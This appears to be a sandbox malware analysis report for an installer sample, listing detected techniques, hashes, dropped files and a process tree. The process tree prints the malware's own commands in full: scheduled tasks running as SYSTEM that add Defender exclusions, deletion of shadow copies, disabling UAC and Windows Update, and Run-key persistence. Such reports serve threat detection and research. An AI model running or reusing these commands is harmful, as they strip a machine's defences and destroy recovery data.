192b9aa8c6be0d2585a8a4360e6c8f6b0042e60156be7bb48f1a60c56bb9b9de

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/08/2026, 16:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_v3.0.02.exe
Size 31.6MB
Sample260822-tk8elswekf
SHA256 192b9aa8c6be0d2585a8a4360e6c8f6b0042e60156be7bb48f1a60c56bb9b9de
MD5 a25090a07abb8f6d357b84dfed5a2059
SHA1 2ccd0c85a917111ac92f1b39ace117d3d9c47aae
SHA512 121817fb8fda0aec9e7fe2a4a53440c30a13ecdc12253bfb75c1a5909920a0df99904d13c37a9b731d1746c3e7d817e49cb66977e0440af67ec5e32ceab9d582
SSDEEP 98304:xvHhs8mSgPrs3ihngA0hFI6qqAF3EJnVXhkg/9EDo6I7f:Zmb43Ogvh3ACrRk+uD+7f
TLSH
T1BF77F6A2F601D9EEED5444FC848DC6A36322ECA48551471F33887B29BFBBD4C4D98DA4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	HwbJMc.exe

Windows security bypass 2 TTPs 4 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	Jgp204.exe

Executes dropped EXE 3 IoCs

pid	Process
4396	Jgp204.exe
2788	Jgp204.exe
3880	HwbJMc.exe

Loads dropped DLL 3 IoCs

pid	Process
4396	Jgp204.exe
2788	Jgp204.exe
3880	HwbJMc.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
940	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\8QJ27D\\Jgp204.exe\""	Jgp204.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\HwbJMc\\HwbJMc.exe\""	HwbJMc.exe

Indicator Removal: Clear Persistence 1 TTPs 8 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2200	cmd.exe
4368	cmd.exe
3756	cmd.exe
3596	cmd.exe
2908	cmd.exe
1044	cmd.exe
4724	cmd.exe
4264	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	Jgp204.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\HwbJMc	Jgp204.exe
File created	C:\Program Files (x86)\HwbJMc\XPSPLOG.dll	Jgp204.exe
File opened for modification	C:\Program Files (x86)\HwbJMc\XPSPLOG.dll	Jgp204.exe
File opened for modification	C:\Program Files (x86)\HwbJMc\image.png	Jgp204.exe
File opened for modification	C:\Program Files (x86)\HwbJMc\thumbs.db	Jgp204.exe
File created	C:\Program Files (x86)\HwbJMc\HwbJMc.exe	Jgp204.exe
File created	C:\Program Files (x86)\HwbJMc\image.png	Jgp204.exe
File created	C:\Program Files (x86)\HwbJMc\thumbs.db	Jgp204.exe
File opened for modification	C:\Program Files (x86)\HwbJMc\HwbJMc.exe	Jgp204.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 11 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4880	cmd.exe
3260	cmd.exe
988	cmd.exe
3296	cmd.exe
3852	cmd.exe
3936	cmd.exe
2012	cmd.exe
3364	cmd.exe
5060	cmd.exe
2112	cmd.exe
4492	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HwbJMc.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Jgp204.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3848	schtasks.exe
2120	schtasks.exe
1120	schtasks.exe
716	schtasks.exe
2512	schtasks.exe
5048	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4372	install_v3.0.02.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe
4396	Jgp204.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 4396 wrote to memory of 4264	4396	Jgp204.exe	100
PID 4396 wrote to memory of 2200	4396	Jgp204.exe	103
PID 4264 wrote to memory of 1120	4264	cmd.exe	105
PID 2200 wrote to memory of 716	2200	cmd.exe	106
PID 4264 wrote to memory of 3760	4264	cmd.exe	108
PID 4264 wrote to memory of 816	4264	cmd.exe	110
PID 2200 wrote to memory of 732	2200	cmd.exe	111
PID 2200 wrote to memory of 5020	2200	cmd.exe	112
PID 4396 wrote to memory of 4368	4396	Jgp204.exe	115
PID 4396 wrote to memory of 3756	4396	Jgp204.exe	117
PID 4368 wrote to memory of 2512	4368	cmd.exe	119
PID 3364 wrote to memory of 4780	3364	cmd.exe	121
PID 4396 wrote to memory of 3596	4396	Jgp204.exe	122
PID 4368 wrote to memory of 2636	4368	cmd.exe	124
PID 3756 wrote to memory of 5048	3756	cmd.exe	125
PID 4368 wrote to memory of 1660	4368	cmd.exe	128
PID 3596 wrote to memory of 3848	3596	cmd.exe	129
PID 3756 wrote to memory of 1384	3756	cmd.exe	130
PID 3596 wrote to memory of 568	3596	cmd.exe	131
PID 3756 wrote to memory of 4688	3756	cmd.exe	132
PID 3596 wrote to memory of 4892	3596	cmd.exe	133
PID 4880 wrote to memory of 1356	4880	cmd.exe	134
PID 4396 wrote to memory of 3880	4396	Jgp204.exe	135

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	HwbJMc.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_v3.0.02.exe
"C:\Users\Admin\AppData\Local\Temp\install_v3.0.02.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4372

C:\Users\Public\8QJ27D\Jgp204.exe
C:\Users\Public\8QJ27D\Jgp204.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\8QJ27D\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4264
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\8QJ27D\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1120
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3760
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:716
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:732
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4368
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2512
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2636
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5048
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1384
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3596
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3848
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:568
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4892
- C:\Program Files (x86)\HwbJMc\HwbJMc.exe
  "C:\Program Files (x86)\HwbJMc\HwbJMc.exe"
  2⤵
  - UAC bypass
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - System policy modification
  PID:3880
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:3260
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\HwbJMc" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5060
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\HwbJMc" /inheritance:r
      4⤵
      Modifies file permissions
      PID:940
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2112
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:988
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\HwbJMc\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2908
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\HwbJMc\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2120
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2464
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3296
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:4492
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3852
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1044
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4724
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3476
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\HwbJMc" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3936
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\HwbJMc" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:2012

C:\Users\Public\8QJ27D\Jgp204.exe
"C:\Users\Public\8QJ27D\Jgp204.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2788

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3364
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4780

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3380

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4880
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1356

C:\Program Files (x86)\HwbJMc\HwbJMc.exe
"C:\Program Files (x86)\HwbJMc\HwbJMc.exe"
1⤵
PID:3156

C:\Program Files (x86)\HwbJMc\HwbJMc.exe
"C:\Program Files (x86)\HwbJMc\HwbJMc.exe"
1⤵
PID:4652

C:\Program Files (x86)\gt7Y5A6\Aserjw.exe
"C:\Program Files (x86)\gt7Y5A6\Aserjw.exe"
1⤵
PID:2828

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wuauserv
1⤵
PID:4552

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\HwbJMc" /t REG_DWORD /d 0 /f
1⤵
PID:4120

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

HwbJMc.exe

Path C:\Program Files (x86)\HwbJMc\HwbJMc.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\HwbJMc\XPSPLOG.dll
Size 4.6MB
SHA256 7a1422defaa23d4549d96e7b0dfae3b88904eb4873e9af1d5d5175fa282fe3f5
MD5 59e677910fd7edcd59358e87c1606f74
SHA1 b928e9dc44b5707c994e1a445c8d7e70857a9b08
SHA512 956c594a4b56f709b1c396e1678fc33d3856ce0c4b4b5eaee8c9b10783f274d3b49602dab11411162ddddcb290345135237c83d60d4c19651cc197387d2599ef
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy0:BMWKfU+BcUTHCCCfqCiUffn0
TLSH
T1BB263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\HwbJMc\image.png
Size 5.0MB
SHA256 2c31bb4039949da6192e08c9d0be4704139c2f39d447225982064e4fc782a5cf
MD5 909e4181fb390f31eda1effcc1287b64
SHA1 169af632045b74e0ec09a2ae268729ff9826efa3
SHA512 c5fbe85f38e698a0e0e1757ef99d86934fbc53e7a30b64abd6a69bc948141ea924a2476e381a21d3710989101208eb94d85b6a508f682b42b98097b4f7a8e2aa
SSDEEP 98304:XFYrZdgzrNWII7jT4piZg5mNmtgJ+N2T4+C0l7ETp1qM/a6kX6aVmtK:MRIUjDgAk+jkn/IXhVaK
TLSH
T15A3633605F0EE7EA8F3B6FEAA22B74C974895BDDC99C44054D76DC6D4DB8240B4208EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\HwbJMc\thumbs.db
Size 358KB
SHA256 d581b5bc4d8b5ddea0f6fd492f26ad0eff55f7eba3a7dc1442bbe6f41aa813b6
MD5 49c96c43f20ce1bd73a494166e1e0186
SHA1 a11c20c8fe27bd9b5c15708ec6a9a89935835934
SHA512 cb47a176aae8a18d4d5db072e0c7a6a5669ef32deb35ad75e1c87e80b3a6e1287aa31544cf038c019beb906f2b5f8b95fc2320c6b7c7082e067807b672daa2f3
SSDEEP 6144:viACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:a8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T10F74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\gt7Y5A6\XPSPLOG.dll
Size 3.8MB
SHA256 1204f8bde1d1536af01473438387d82ee8532521d155bb2bc98951f9598805ef
MD5 1e538555e59f736499a822bddacb988b
SHA1 443a3ef98857e73764ff4f9c605ea5d0dfb4baf1
SHA512 0b78fbc2d6cc4b26e0567dd3916413c849577c1396cc5c450c1fe86f0f14d745721ad5308231fafdd0b4ada44515f43db09c09bd1a71493ce8f6b44c15dacbd5
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOKZCUqyn78eT1581L:yCMWmcKfST5t+BceThTHfaCCUqmJPCYY
TLSH
T13006330DBADB561EE85672785F2DFC3EB77929CC4308EC88D059748B90B2B79603950D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\gt7Y5A6\XPSPLOG.dll
Size 3.0MB
SHA256 ec52cf36a238a14a2e3dd31890576c8c04bdba5841cd4f0f5dff50e3d0691846
